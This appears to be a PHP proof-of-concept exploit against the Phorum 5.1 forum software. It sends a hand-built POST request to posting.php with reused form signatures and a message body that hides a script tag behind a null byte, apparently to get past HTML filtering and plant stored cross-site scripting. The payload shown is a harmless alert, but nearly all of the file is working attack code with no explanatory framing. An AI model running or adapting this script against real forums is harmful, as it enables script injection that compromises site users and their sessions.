<?php

$fp = @fsockopen("secretsauce.phorum.org", 80, $errno, $errstr, 5);
if(!$fp) die("connect failed\n");
stream_set_timeout($fp, 5);

$content = "finish=finish&forum_id=5&mode=post&message_id=0&message_id:signature=fb683d7a937af618dbb8e48a21e1ee51&subject=hax0r&body=<s%00cript>alert('hohoho')</s%00cript>&author=JohnDoe&attachments=YTowOnt9&attachments:signature=6f1017a622f64bedd46f2ffe5ead78c5&meta=YTowOnt9&meta:signature=6f1017a622f64bedd46f2ffe5ead78c5&thread=0&parent_id=0";

// build our backend request
$out = "POST /phorum_5_1/posting.php?5 HTTP/1.1\r\n";
$out.= "Host: secretsauce.phorum.org\r\n";
$out.= "User-Agent: HaX0rb0wx0r\r\n";
$out.= "Content-Length: ".strlen($content)."\r\n";
$out.= "Content-Type: application/x-www-form-urlencoded\r\n";
$out.= "Connection: close\r\n\r\n";
$out.= $content;
$out.= "\r\n\r\n";
print "$out\n";
fputs($fp, $out);
while ($r=fgets($fp)) {
    print "$r";
}
fclose($fp);
?>